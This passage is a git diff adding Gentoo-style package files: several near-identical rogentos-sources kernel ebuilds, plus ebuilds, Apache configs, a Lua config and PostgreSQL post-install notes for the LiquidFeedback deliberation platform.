@@ -0,0 +1,22 @@
+# Copyright 2004-2014 Kogaion, Argent and ArgOS Linux
+# Distributed under the terms of the GNU General Public License v2
+
+EAPI=5
+
+K_ROGKERNEL_NAME="rogentos"
+K_ROGKERNEL_URI_CONFIG="yes"
+K_ROGKERNEL_SELF_TARBALL_NAME="rogentos"
+K_ONLY_SOURCES="1"
+K_ROGKERNEL_FORCE_SUBLEVEL="0"
+K_KERNEL_NEW_VERSIONING="1"
+
+inherit rogentos-kernel
+
+KEYWORDS="~amd64 ~arm ~x86"
+DESCRIPTION="Official Kogaion, Argent and ArgOS Linux Standard kernel sources"
+RESTRICT="mirror"
+IUSE="sources_standalone"
+
+DEPEND="${DEPEND}
+	sources_standalone? ( !=sys-kernel/linux-rogentos-${PVR} )
+	!sources_standalone? ( =sys-kernel/linux-rogentos-${PVR} )"
diff --git a/sys-kernel/rogentos-sources/rogentos-sources-3.12.8.ebuild b/sys-kernel/rogentos-sources/rogentos-sources-3.12.8.ebuild
new file mode 100644
index 00000000..2cec6130
--- /dev/null
+++ b/sys-kernel/rogentos-sources/rogentos-sources-3.12.8.ebuild
@@ -0,0 +1,22 @@
+# Copyright 2004-2014 Kogaion, Argent and ArgOS Linux
+# Distributed under the terms of the GNU General Public License v2
+
+EAPI=5
+
+K_ROGKERNEL_NAME="rogentos"
+K_ROGKERNEL_URI_CONFIG="yes"
+K_ROGKERNEL_SELF_TARBALL_NAME="rogentos"
+K_ONLY_SOURCES="1"
+K_ROGKERNEL_FORCE_SUBLEVEL="0"
+K_KERNEL_NEW_VERSIONING="1"
+
+inherit rogentos-kernel
+
+KEYWORDS="~amd64 ~arm ~x86"
+DESCRIPTION="Official Kogaion, Argent and ArgOS Linux Standard kernel sources"
+RESTRICT="mirror"
+IUSE="sources_standalone"
+
+DEPEND="${DEPEND}
+	sources_standalone? ( !=sys-kernel/linux-rogentos-${PVR} )
+	!sources_standalone? ( =sys-kernel/linux-rogentos-${PVR} )"
diff --git a/sys-kernel/rogentos-sources/rogentos-sources-3.2-r2.ebuild b/sys-kernel/rogentos-sources/rogentos-sources-3.2-r2.ebuild
new file mode 100644
index 00000000..2dc070d1
--- /dev/null
+++ b/sys-kernel/rogentos-sources/rogentos-sources-3.2-r2.ebuild
@@ -0,0 +1,19 @@
+# Copyright 2004-2010 Kogaion, Argent and ArgOS Linux
+# Distributed under the terms of the GNU General Public License v2
+
+ETYPE="sources"
+K_ROGKERNEL_NAME="rogentos"
+K_ROGKERNEL_URI_CONFIG="yes"
+K_ROGKERNEL_SELF_TARBALL_NAME="rogentos"
+K_ONLY_SOURCES="1"
+K_ROGKERNEL_FORCE_SUBLEVEL="0"
+inherit rogentos-kernel
+KEYWORDS="~amd64 ~x86"
+DESCRIPTION="Official Kogaion, Argent and ArgOS Linux Standard kernel sources"
+RESTRICT="mirror"
+IUSE="sources_standalone"
+
+DEPEND="${DEPEND}
+	sources_standalone? ( !=sys-kernel/linux-rogentos-${PVR} )
+	!sources_standalone? ( =sys-kernel/linux-rogentos-${PVR} )"
+
diff --git a/sys-kernel/rogentos-sources/rogentos-sources-3.4.76.ebuild b/sys-kernel/rogentos-sources/rogentos-sources-3.4.76.ebuild
new file mode 100644
index 00000000..2cec6130
--- /dev/null
+++ b/sys-kernel/rogentos-sources/rogentos-sources-3.4.76.ebuild
@@ -0,0 +1,22 @@
+# Copyright 2004-2014 Kogaion, Argent and ArgOS Linux
+# Distributed under the terms of the GNU General Public License v2
+
+EAPI=5
+
+K_ROGKERNEL_NAME="rogentos"
+K_ROGKERNEL_URI_CONFIG="yes"
+K_ROGKERNEL_SELF_TARBALL_NAME="rogentos"
+K_ONLY_SOURCES="1"
+K_ROGKERNEL_FORCE_SUBLEVEL="0"
+K_KERNEL_NEW_VERSIONING="1"
+
+inherit rogentos-kernel
+
+KEYWORDS="~amd64 ~arm ~x86"
+DESCRIPTION="Official Kogaion, Argent and ArgOS Linux Standard kernel sources"
+RESTRICT="mirror"
+IUSE="sources_standalone"
+
+DEPEND="${DEPEND}
+	sources_standalone? ( !=sys-kernel/linux-rogentos-${PVR} )
+	!sources_standalone? ( =sys-kernel/linux-rogentos-${PVR} )"
diff --git a/sys-kernel/rogentos-sources/rogentos-sources-3.4.77.ebuild b/sys-kernel/rogentos-sources/rogentos-sources-3.4.77.ebuild
new file mode 100644
index 00000000..2cec6130
--- /dev/null
+++ b/sys-kernel/rogentos-sources/rogentos-sources-3.4.77.ebuild
@@ -0,0 +1,22 @@
+# Copyright 2004-2014 Kogaion, Argent and ArgOS Linux
+# Distributed under the terms of the GNU General Public License v2
+
+EAPI=5
+
+K_ROGKERNEL_NAME="rogentos"
+K_ROGKERNEL_URI_CONFIG="yes"
+K_ROGKERNEL_SELF_TARBALL_NAME="rogentos"
+K_ONLY_SOURCES="1"
+K_ROGKERNEL_FORCE_SUBLEVEL="0"
+K_KERNEL_NEW_VERSIONING="1"
+
+inherit rogentos-kernel
+
+KEYWORDS="~amd64 ~arm ~x86"
+DESCRIPTION="Official Kogaion, Argent and ArgOS Linux Standard kernel sources"
+RESTRICT="mirror"
+IUSE="sources_standalone"
+
+DEPEND="${DEPEND}
+	sources_standalone? ( !=sys-kernel/linux-rogentos-${PVR} )
+	!sources_standalone? ( =sys-kernel/linux-rogentos-${PVR} )"
diff --git a/sys-kernel/rogentos-sources/rogentos-sources-3.8.13.ebuild b/sys-kernel/rogentos-sources/rogentos-sources-3.8.13.ebuild
new file mode 100644
index 00000000..98efbe4f
--- /dev/null
+++ b/sys-kernel/rogentos-sources/rogentos-sources-3.8.13.ebuild
@@ -0,0 +1,21 @@
+# Copyright 2004-2014 Kogaion, Argent and ArgOS Linux
+# Distributed under the terms of the GNU General Public License v2
+
+EAPI=5
+
+K_ROGKERNEL_NAME="rogentos"
+K_ROGKERNEL_URI_CONFIG="yes"
+K_ROGKERNEL_SELF_TARBALL_NAME="rogentos"
+K_ONLY_SOURCES="1"
+K_ROGKERNEL_FORCE_SUBLEVEL="0"
+K_KERNEL_NEW_VERSIONING="1"
+K_KERNEL_PATCH_HOTFIXES="${FILESDIR}/0001-rogentos-fix-rogentos-x86-kernel-config.patch"
+inherit rogentos-kernel
+KEYWORDS="~amd64 ~x86"
+DESCRIPTION="Official Kogaion, Argent and ArgOS Linux Standard kernel sources"
+RESTRICT="mirror"
+IUSE="sources_standalone"
+
+DEPEND="${DEPEND}
+	sources_standalone? ( !=sys-kernel/linux-rogentos-${PVR} )
+	!sources_standalone? ( =sys-kernel/linux-rogentos-${PVR} )"
diff --git a/sys-kernel/rogentos-sources/rogentos-sources-3.9.11.ebuild b/sys-kernel/rogentos-sources/rogentos-sources-3.9.11.ebuild
new file mode 100644
index 00000000..2cec6130
--- /dev/null
+++ b/sys-kernel/rogentos-sources/rogentos-sources-3.9.11.ebuild
@@ -0,0 +1,22 @@
+# Copyright 2004-2014 Kogaion, Argent and ArgOS Linux
+# Distributed under the terms of the GNU General Public License v2
+
+EAPI=5
+
+K_ROGKERNEL_NAME="rogentos"
+K_ROGKERNEL_URI_CONFIG="yes"
+K_ROGKERNEL_SELF_TARBALL_NAME="rogentos"
+K_ONLY_SOURCES="1"
+K_ROGKERNEL_FORCE_SUBLEVEL="0"
+K_KERNEL_NEW_VERSIONING="1"
+
+inherit rogentos-kernel
+
+KEYWORDS="~amd64 ~arm ~x86"
+DESCRIPTION="Official Kogaion, Argent and ArgOS Linux Standard kernel sources"
+RESTRICT="mirror"
+IUSE="sources_standalone"
+
+DEPEND="${DEPEND}
+	sources_standalone? ( !=sys-kernel/linux-rogentos-${PVR} )
+	!sources_standalone? ( =sys-kernel/linux-rogentos-${PVR} )"
diff --git a/sys-kernel/rogentos-sources/rogentos-sources.skel b/sys-kernel/rogentos-sources/rogentos-sources.skel
new file mode 100644
index 00000000..257a14ab
--- /dev/null
+++ b/sys-kernel/rogentos-sources/rogentos-sources.skel
@@ -0,0 +1,22 @@
+# Copyright 2004-2014 RogentOS Team
+# Distributed under the terms of the GNU General Public License v2
+
+EAPI=5
+
+K_ROGKERNEL_NAME="rogentos"
+K_ROGKERNEL_URI_CONFIG="yes"
+K_ROGKERNEL_SELF_TARBALL_NAME="rogentos"
+K_ONLY_SOURCES="1"
+K_ROGKERNEL_FORCE_SUBLEVEL="0"
+K_KERNEL_NEW_VERSIONING="1"
+
+inherit rogentos-kernel
+
+KEYWORDS="~amd64 ~arm ~x86"
+DESCRIPTION="Official Kogaion, Argent and ArgOS source ebuild"
+RESTRICT="mirror"
+IUSE="sources_standalone"
+
+DEPEND="${DEPEND}
+	sources_standalone? ( !=sys-kernel/linux-rogentos-${PVR} )
+	!sources_standalone? ( =sys-kernel/linux-rogentos-${PVR} )"
diff --git a/www-apps/liquid_feedback_core/ChangeLog b/www-apps/liquid_feedback_core/ChangeLog
new file mode 100644
index 00000000..09eda945
--- /dev/null
+++ b/www-apps/liquid_feedback_core/ChangeLog
@@ -0,0 +1,12 @@
+# ChangeLog for www-apps/liquid_feedback_core
+# Copyright 1999-2013 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/www-apps/liquid_feedback_core/ChangeLog,v 1.1 2013/04/28 12:47:03 tupone Exp $
+
+*liquid_feedback_core-2.2.3 (28 Apr 2013)
+
+  28 Apr 2013; Alfredo Tupone <tupone@gentoo.org>
+  +liquid_feedback_core-2.2.3.ebuild,
+  +files/liquid_feedback_core-2.2.3-gentoo.patch, +files/postinstall-en.txt,
+  +metadata.xml:
+  New package
+
diff --git a/www-apps/liquid_feedback_core/Manifest b/www-apps/liquid_feedback_core/Manifest
new file mode 100644
index 00000000..e90e581c
--- /dev/null
+++ b/www-apps/liquid_feedback_core/Manifest
@@ -0,0 +1,2 @@
+DIST liquid_feedback_core-v2.2.3.tar.gz 124770 SHA256 51884d4aea59f7bde407aed5e75129fa63e6630cbddac9e4daa1937ea91eed9d SHA512 a87af2b4ba218289b679a1ffb5751d29eed0d368233e431123c8ce98c1eab5bf62f516e4beb3177ecb302c9062c86b6f908cff3155783dcfcb2d279804079a87 WHIRLPOOL 8d4733b853f0d61ddf5bae61ce02d29455bddd79bb08ca93b79e954b51a111ac59665d8e42ff4ddf8574564fb0d5f10c78b81cd1b0585bd959bdbf47dc90d9e3
+DIST liquid_feedback_core-v3.0.0.tar.gz 130905 SHA256 159d8a322a1ae295282224d3683f96492196ca530fa07727df9904f45582a66c SHA512 d94784436206c1764bc59a0a8dbb0f9262a152ec36562ff3c5ce4b45d242cecf8485268c454a12d3c4042fefeaf0d95751a9845d5f86905f2dd683a0289c96ef WHIRLPOOL 3e7b4dc74e892cfcf0a44534830f7e17f4108d738b86adff00f56a5bacc35624f07360f6bc40242def646b522df413ca1e026311d58d43697572d4d536a70df4
diff --git a/www-apps/liquid_feedback_core/files/liquid_feedback_core-2.2.3-gentoo.patch b/www-apps/liquid_feedback_core/files/liquid_feedback_core-2.2.3-gentoo.patch
new file mode 100644
index 00000000..f4d55512
--- /dev/null
+++ b/www-apps/liquid_feedback_core/files/liquid_feedback_core-2.2.3-gentoo.patch
@@ -0,0 +1,24 @@
+--- Makefile.old	2013-03-22 15:26:23.340764442 +0100
++++ Makefile	2013-03-22 15:36:50.838733773 +0100
+@@ -1,16 +1,10 @@
+ all:: lf_update lf_update_suggestion_order
+ 
+-lf_update: lf_update.c
+-	cc	-Wall -O2 \
+-		-I "`pg_config --includedir`" \
+-		-L "`pg_config --libdir`" \
+-		-o lf_update lf_update.c -lpq
+-
+-lf_update_suggestion_order: lf_update_suggestion_order.c
+-	cc	-Wall -O2 \
+-		-I "`pg_config --includedir`" \
+-		-L "`pg_config --libdir`" \
+-		-o lf_update_suggestion_order lf_update_suggestion_order.c -lpq
++CPPFLAGS=-I `pg_config --includedir`
++LDFLAGS=-L `pg_config --libdir`
++CFLAGS=-Wall -O2
++CC=cc
++LDLIBS=-lpq
+ 
+ clean::
+ 	rm -f lf_update lf_update_suggestion_order
diff --git a/www-apps/liquid_feedback_core/files/postinstall-en.txt b/www-apps/liquid_feedback_core/files/postinstall-en.txt
new file mode 100644
index 00000000..128c7b20
--- /dev/null
+++ b/www-apps/liquid_feedback_core/files/postinstall-en.txt
@@ -0,0 +1,25 @@
+Merge info from README file with these.
+
+To use Liquid Feedback you have to follow these
+simple steps, which have to be done as the postgres system user (or
+which ever is the database superuser):
+
+$ createuser liquid_feedback
+and answer the following
+Shall the new role be a superuser? (y/n) n
+Shall the new role be allowed to create databases? (y/n) y
+Shall the new role be allowed to create more new roles? (y/n) n
+
+$ psql 
+postgres=# ALTER USER liquid_feedback WITH PASSWORD 'the_new_password';
+
+$ createdb -U liquid_feedback liquid_feedback
+$ psql -U liquid_feedback liquid_feedback
+liquid_feedback=# \i /usr/share/liquid_feedback_code/core.sql
+liquid_feedback=# \i /usr/share/liquid_feedback_code/init.sql
+INSERT INTO system_setting (member_ttl) VALUES ('1 year');
+INSERT INTO contingent (polling, time_frame, text_entry_limit, initiative_limit) VALUES (false, '1 hour', 20, 6);
+INSERT INTO contingent (polling, time_frame, text_entry_limit, initiative_limit) VALUES (false, '1 day', 80, 12);
+INSERT INTO contingent (polling, time_frame, text_entry_limit, initiative_limit) VALUES (true, '1 hour', 200, 60);
+INSERT INTO contingent (polling, time_frame, text_entry_limit, initiative_limit) VALUES (true, '1 day', 800, 120);
+INSERT INTO policy (index, name, admission_time, discussion_time, verification_time, voting_time, issue_quorum_num, issue_quorum_den, initiative_quorum_num, initiative_quorum_den) VALUES (1, 'Default policy', '8 days', '15 days', '8 days', '15 days', 10, 100, 10, 100);
diff --git a/www-apps/liquid_feedback_core/liquid_feedback_core-2.2.3.ebuild b/www-apps/liquid_feedback_core/liquid_feedback_core-2.2.3.ebuild
new file mode 100644
index 00000000..7125d146
--- /dev/null
+++ b/www-apps/liquid_feedback_core/liquid_feedback_core-2.2.3.ebuild
@@ -0,0 +1,43 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/www-apps/liquid_feedback_core/liquid_feedback_core-2.2.3.ebuild,v 1.1 2013/04/28 12:47:03 tupone Exp $
+
+EAPI=4
+
+inherit eutils toolchain-funcs
+
+MY_P=${PN}-v${PV}
+
+DESCRIPTION="Internet platforms for proposition development and decision making"
+HOMEPAGE="http://www.public-software-group.org/liquid_feedback"
+SRC_URI="http://www.public-software-group.org/pub/projects/liquid_feedback/backend/v${PV}/${MY_P}.tar.gz"
+
+LICENSE="HPND CC-BY-2.5"
+SLOT="0"
+KEYWORDS="~amd64"
+IUSE=""
+
+RDEPEND="dev-db/postgresql-base"
+DEPEND="${RDEPEND}"
+
+S=${WORKDIR}/${MY_P}
+
+src_prepare() {
+	epatch "${FILESDIR}"/${P}-gentoo.patch
+}
+
+src_compile() {
+	emake \
+		CC="$(tc-getCC)" \
+		CFLAGS="${CFLAGS}" \
+		CPPFLAGS="-I $(pg_config --includedir)" \
+		LDFLAGS="${LDFLAGS} -L $(pg_config --libdir)" \
+		LDLIBS="-lpq $(pg_config --libs)"
+}
+
+src_install() {
+	dobin lf_update lf_update_suggestion_order lf_export
+	insinto /usr/share/${PN}
+	doins -r {core,init,demo,test}.sql update
+	dodoc README "${FILESDIR}"/postinstall-en.txt
+}
diff --git a/www-apps/liquid_feedback_core/liquid_feedback_core-3.0.0.ebuild b/www-apps/liquid_feedback_core/liquid_feedback_core-3.0.0.ebuild
new file mode 100644
index 00000000..7125d146
--- /dev/null
+++ b/www-apps/liquid_feedback_core/liquid_feedback_core-3.0.0.ebuild
@@ -0,0 +1,43 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/www-apps/liquid_feedback_core/liquid_feedback_core-2.2.3.ebuild,v 1.1 2013/04/28 12:47:03 tupone Exp $
+
+EAPI=4
+
+inherit eutils toolchain-funcs
+
+MY_P=${PN}-v${PV}
+
+DESCRIPTION="Internet platforms for proposition development and decision making"
+HOMEPAGE="http://www.public-software-group.org/liquid_feedback"
+SRC_URI="http://www.public-software-group.org/pub/projects/liquid_feedback/backend/v${PV}/${MY_P}.tar.gz"
+
+LICENSE="HPND CC-BY-2.5"
+SLOT="0"
+KEYWORDS="~amd64"
+IUSE=""
+
+RDEPEND="dev-db/postgresql-base"
+DEPEND="${RDEPEND}"
+
+S=${WORKDIR}/${MY_P}
+
+src_prepare() {
+	epatch "${FILESDIR}"/${P}-gentoo.patch
+}
+
+src_compile() {
+	emake \
+		CC="$(tc-getCC)" \
+		CFLAGS="${CFLAGS}" \
+		CPPFLAGS="-I $(pg_config --includedir)" \
+		LDFLAGS="${LDFLAGS} -L $(pg_config --libdir)" \
+		LDLIBS="-lpq $(pg_config --libs)"
+}
+
+src_install() {
+	dobin lf_update lf_update_suggestion_order lf_export
+	insinto /usr/share/${PN}
+	doins -r {core,init,demo,test}.sql update
+	dodoc README "${FILESDIR}"/postinstall-en.txt
+}
diff --git a/www-apps/liquid_feedback_core/metadata.xml b/www-apps/liquid_feedback_core/metadata.xml
new file mode 100644
index 00000000..d9743832
--- /dev/null
+++ b/www-apps/liquid_feedback_core/metadata.xml
@@ -0,0 +1,14 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<maintainer>
+<email>tupone@gentoo.org</email>
+<name>Alfredo Tupone</name>
+</maintainer>
+<longdescription lang="en">
+LiquidFeedback is an open-source software, powering internet platforms for proposition development and decision making.
+LiquidFeedback is an independent open source project published under MIT license by the Public Software Group of Berlin, Germany.
+The developers of LiquidFeedback have joined together in the Interaktive Demokratie association to promote the use of electronic media for democratic processes.
+The core consists of a database scheme for the PostgreSQL database, including the algorithms for delegations, feedback and the voting procedure implemented as SQL views and database procedures written in PL/pgSQL. As it is licensed under the liberal MIT/X11-License you can include it in any software project you like, as long as there is PostgreSQL support for your programming language available. 
+</longdescription>
+</pkgmetadata>
diff --git a/www-apps/liquid_feedback_frontend/ChangeLog b/www-apps/liquid_feedback_frontend/ChangeLog
new file mode 100644
index 00000000..d8094d94
--- /dev/null
+++ b/www-apps/liquid_feedback_frontend/ChangeLog
@@ -0,0 +1,12 @@
+# ChangeLog for www-apps/liquid_feedback_frontend
+# Copyright 1999-2013 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/www-apps/liquid_feedback_frontend/ChangeLog,v 1.1 2013/05/28 12:51:56 tupone Exp $
+
+*liquid_feedback_frontend-2.2.2 (28 May 2013)
+
+  28 May 2013; Alfredo Tupone <tupone@gentoo.org>
+  +liquid_feedback_frontend-2.2.2.ebuild, +files/lqfb.example.com.conf,
+  +files/lqfb-apache.conf, +files/myconfig.lua, +files/postinstall-en.txt,
+  +metadata.xml:
+  New package
+
diff --git a/www-apps/liquid_feedback_frontend/Manifest b/www-apps/liquid_feedback_frontend/Manifest
new file mode 100644
index 00000000..dee5069e
--- /dev/null
+++ b/www-apps/liquid_feedback_frontend/Manifest
@@ -0,0 +1,3 @@
+DIST liquid_feedback_frontend-italian-2.2.2.tar.gz 7496 SHA256 c894a8c9ca2d628e50ff9836ded017e37e68a87be50032ebb298e55556815a62 SHA512 e58e8efa1c68d35dd23e286eb5720516e2f9ccf21be9697376e3c263eea50bfc80d68497959d07c26482317d6787d53ac19be68c21d0a3b5b65cbe457fbbb322 WHIRLPOOL 0e85294ffa3de77fb6179aebf806aaa03ae505c60d8a6932ee391b3bfff30bed7ba9978c6143ff1a9de9a20413ecfee8eba150a97cbe781536cfee1d2812acd3
+DIST liquid_feedback_frontend-v2.2.2.tar.gz 356003 SHA256 83ca1f019078ddde8e034521545b95182a500d0c8a49cf6de4706eab81f29643 SHA512 0b145130814b9e6969189733ce9ccd523672e605f1cd8d4b2a8b931607ffe6b0110b142197ca50ec81326f381fdd4479c929b9eac0e92a5713749df72518962b WHIRLPOOL f08a9906d872dd322befeab769436d0a6387fa3676b698ea5736e8ea01633569fc46cfd97edae3e22c25e8caeab9599cc6594d106a73870c633e76d55c3b6892
+DIST liquid_feedback_frontend-v2.2.5.tar.gz 361783 SHA256 df80ea4ae7832a2ae1ed6f147efde12fcce80ffa20ec7b2670aad8841c72d30b SHA512 08dbeebfc87db0f151e40f978edeae373df080be421cfda3d59fff738c7898be3296edb943e41f0b0cd44181164a59e5e15b4a621378b933798d4514a579e9e8 WHIRLPOOL cb5b48f6a59af9adaeb0d566aae033dac86ef2cafbd1ae77a9857c23b5dad3c4706bc54ecd30e041b73e444f5629ac7167435acfabf5c30077b8d1e862e9f6a6
diff --git a/www-apps/liquid_feedback_frontend/files/lqfb-apache.conf b/www-apps/liquid_feedback_frontend/files/lqfb-apache.conf
new file mode 100644
index 00000000..3f1924b6
--- /dev/null
+++ b/www-apps/liquid_feedback_frontend/files/lqfb-apache.conf
@@ -0,0 +1,41 @@
+RewriteEngine on
+
+RewriteRule ^/$ /lf/ [R]
+
+RewriteRule ^/lf/static/(.*)$ /lf/static/$1 [L,PT]
+
+RewriteCond %{QUERY_STRING} (.*)?
+RewriteRule ^/lf/$ /lf/webmcp-wrapper.lua?_webmcp_urldepth=0&_webmcp_module=index&_webmcp_view=index&%1 [PT]
+
+RewriteCond %{QUERY_STRING} (.*)?
+RewriteRule ^/lf/([^/]+)/$ /lf/webmcp-wrapper.lua?_webmcp_urldepth=1&_webmcp_module=$1&_webmcp_view=index&%1 [PT]
+
+RewriteCond %{QUERY_STRING} (.*)?
+RewriteRule ^/lf/([^/]+)/([^/\.]+)$ /lf/webmcp-wrapper.lua?_webmcp_urldepth=1&_webmcp_module=$1&_webmcp_action=$2&%1 [PT]
+
+RewriteCond %{QUERY_STRING} (.*)?
+RewriteRule ^/lf/([^/]+)/([^/\.]+)\.([^/]+)$ /lf/webmcp-wrapper.lua?_webmcp_urldepth=1&_webmcp_module=$1&_webmcp_view=$2&_webmcp_suffix=$3&%1 [PT]
+
+RewriteCond %{QUERY_STRING} (.*)?
+RewriteRule ^/lf/([^/]+)/([^/]+)/([^/\.]+)\.([^/]+)$ /lf/webmcp-wrapper.lua?_webmcp_urldepth=2&_webmcp_module=$1&_webmcp_view=$2&_webmcp_id=$3&_webmcp_suffix=$4&%1 [PT]
+
+Alias /lf/static /var/lib/liquid_feedback_frontend/static
+
+ScriptAlias /lf/ /usr/lib/webmcp/framework/cgi-bin/
+
+<Directory "/var/lib/liquid_feedback_frontend/static">
+  AllowOverride None
+  Order allow,deny
+  Allow from all
+</Directory>
+
+<Directory "/usr/lib/webmcp/framework/cgi-bin">
+  AllowOverride None
+  Options ExecCGI -MultiViews +SymLinksIfOwnerMatch
+  Order allow,deny
+  Allow from all
+</Directory>
+
+<Location /lf>
+  SetEnv WEBMCP_APP_BASEPATH '/var/lib/liquid_feedback_frontend'
+</Location>
diff --git a/www-apps/liquid_feedback_frontend/files/lqfb.example.com.conf b/www-apps/liquid_feedback_frontend/files/lqfb.example.com.conf
new file mode 100644
index 00000000..14908413
--- /dev/null
+++ b/www-apps/liquid_feedback_frontend/files/lqfb.example.com.conf
@@ -0,0 +1,24 @@
+<VirtualHost *:80>
+  ServerName lqfb.example.com
+
+  RewriteEngine On
+  RewriteRule (.*) https://lqfb.example.com%{REQUEST_URI}
+</VirtualHost>
+
+<VirtualHost *:443>
+  ServerName lqfb.example.com
+
+  SSLEngine on
+  SSLProtocol all -SSLv2
+  SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM
+  SSLCertificateFile /etc/ssl/apache2/wildcard/server.crt
+  SSLCertificateKeyFile /etc/ssl/apache2/wildcard/server.key
+
+  include /usr/share/liquid_feedback_frontend/lqfb-apache.conf
+
+  <Location /lf>
+    SetEnv WEBMCP_CONFIG_NAME 'myconfig'
+  </Location>
+
+  ErrorLog /var/log/apache2/lqfb.example.com-error.log
+</VirtualHost>
diff --git a/www-apps/liquid_feedback_frontend/files/myconfig.lua b/www-apps/liquid_feedback_frontend/files/myconfig.lua
new file mode 100644
index 00000000..19c259cd
--- /dev/null
+++ b/www-apps/liquid_feedback_frontend/files/myconfig.lua
@@ -0,0 +1,29 @@
+config.absolute_base_url = "https://lqfb.example.com/lf"
+config.instance_name = "lf"
+config.database = { engine='postgresql', dbname='liquid_feedback', user='liquid_feedback', password='xxx'}
+config.enable_debug_trace = true
+
+execute.config("init")
+
+config.formatting_engine_executeables = {
+  rocketwiki= "rocketwiki-lqfb",
+  compat = "rocketwiki-lqfb-compat"
+}
+
+-- Checkbox(es) the user has to accept while registering
+--
+--
+----
+--------------------------------------------------------------------------
+config.use_terms_checkboxes = {
+  {
+    name = "terms_of_use_v1",
+    html = "I accept the terms of use.",
+    not_accepted_error = "You have to accept the terms of use to be able to regi ster."
+  },
+-- {
+--    name = "extra_terms_of_use_v1",
+--    html = "I accept the extra terms of use.",
+--    not_accepted_error = "You have to accept the extra terms of use to be able  to register."
+--  }
+} 
diff --git a/www-apps/liquid_feedback_frontend/files/postinstall-en.txt b/www-apps/liquid_feedback_frontend/files/postinstall-en.txt
new file mode 100644
index 00000000..688f693c
--- /dev/null
+++ b/www-apps/liquid_feedback_frontend/files/postinstall-en.txt
@@ -0,0 +1,52 @@
+0. DATABASE SETUP
+
+To use Liquid Feedback you have to follow these
+simple steps, which have to be done as the postgres system user (or
+which ever is the database superuser):
+
+$ createuser liquid_feedback
+and answer the following
+Shall the new role be a superuser? (y/n) n
+Shall the new role be allowed to create databases? (y/n) y
+Shall the new role be allowed to create more new roles? (y/n) n
+
+$ psql 
+postgres=# ALTER USER liquid_feedback WITH PASSWORD 'the_new_password';
+
+$ createdb -U liquid_feedback liquid_feedback
+$ psql -U liquid_feedback liquid_feedback
+liquid_feedback=# \i ${MY_INSTALLDIR}/liquid_feedback_core/core.sql
+liquid_feedback=# \i ${MY_INSTALLDIR}/liquid_feedback_core/init.sql
+INSERT INTO system_setting (member_ttl) VALUES ('1 year');
+INSERT INTO contingent (polling, time_frame, text_entry_limit, initiative_limit) VALUES (false, '1 hour', 20, 6);
+INSERT INTO contingent (polling, time_frame, text_entry_limit, initiative_limit) VALUES (false, '1 day', 80, 12);
+INSERT INTO contingent (polling, time_frame, text_entry_limit, initiative_limit) VALUES (true, '1 hour', 200, 60);
+INSERT INTO contingent (polling, time_frame, text_entry_limit, initiative_limit) VALUES (true, '1 day', 800, 120);
+INSERT INTO policy (index, name, admission_time, discussion_time, verification_time, voting_time, issue_quorum_num, issue_quorum_den, initiative_quorum_num, initiative_quorum_den) VALUES (1, 'Default policy', '8 days', '15 days', '8 days', '15 days', 10, 100, 10, 100);
+
+cd /var/liquid_feedback_frontend
+/usr/lib/webmcp/framework/bin/webmcp_shell myconfig
+Lua 5.1.5  Copyright (C) 1994-2012 Lua.org, PUC-Rio
+> member = Member:by_id(1)
+> member:set_password("type-password-here")
+> member:save()
+> os.exit()
+
+Ensure that "lf_update dbname=liquid_feedback" and
+"lf_update_suggestion_order dbname=liquid_feedback" are called
+regularly! It is required to run these commands regularly
+(i.e. every 5 minutes via cron) to update cached supporter counts,
+to change the state of issues when neccessary, to calculate the
+result of votings, etc.  If you wish, copy the created lf_update
+and lf_update_suggestion_order files to /usr/local/bin or a
+similar directory.
+
+It is possible to run these two commands in parallel, if a setup
+requires splitting the load to multiple processor cores. In other
+cases it is recommended to run "lf_update" first, and then
+"lf_update_suggestion_order".
+
+To create an export file, which is containing all but private data,
+you may use the lf_export shell-script:
+$ lf_export liquid_feedback export.sql.gz
+
diff --git a/www-apps/liquid_feedback_frontend/liquid_feedback_frontend-2.2.2.ebuild b/www-apps/liquid_feedback_frontend/liquid_feedback_frontend-2.2.2.ebuild
new file mode 100644
index 00000000..772104cd
--- /dev/null
+++ b/www-apps/liquid_feedback_frontend/liquid_feedback_frontend-2.2.2.ebuild
@@ -0,0 +1,64 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/www-apps/liquid_feedback_frontend/liquid_feedback_frontend-2.2.2.ebuild,v 1.1 2013/05/28 12:51:56 tupone Exp $
+
+EAPI=4
+
+inherit eutils toolchain-funcs
+
+PN_F=${PN}
+PV_F=v${PV}
+MY_P=${PN}-v${PV}
+
+DESCRIPTION="Internet platforms for proposition development and decision making"
+HOMEPAGE="http://www.public-software-group.org/liquid_feedback"
+SRC_URI="http://www.public-software-group.org/pub/projects/liquid_feedback/frontend/v${PV}/${MY_P}.tar.gz
+linguas_it? ( mirror://gentoo/${PN}-italian-${PV}.tar.gz )"
+
+LICENSE="HPND CC-BY-2.5"
+SLOT="0"
+KEYWORDS="~amd64"
+IUSE="linguas_de linguas_el linguas_en linguas_eo linguas_it"
+
+RDEPEND=""
+DEPEND="www-apps/rocketwiki-lqfb
+	${RDEPEND}"
+
+S=${WORKDIR}/${MY_P}
+
+src_prepare () {
+	for lang in zh-Hans zh-TW ; do
+		rm -f locale/help/*.${lang}.txt
+	done
+	for lang in de el en eo it ; do
+		if ! use linguas_${lang}; then
+			rm -f locale/help/*.${lang}.txt
+		fi
+	done
+}
+
+src_compile() {
+	emake -C locale
+}
+
+src_install() {
+	dodoc README
+	dodoc "${FILESDIR}"/lqfb.example.com.conf
+	dodoc "${FILESDIR}"/postinstall-en.txt
+
+	insinto /var/lib/${PN}
+	doins -r app db env model static tmp utils
+	insinto /var/lib/${PN}/locale
+	doins locale/*.lua
+	insinto /var/lib/${PN}/locale/help
+	doins locale/help/*html
+
+	insinto /etc/${PN}
+	doins "${FILESDIR}"/myconfig.lua config/*
+	dosym /etc/${PN} /var/lib/${PN}/config
+
+	insinto /usr/share/${PN}
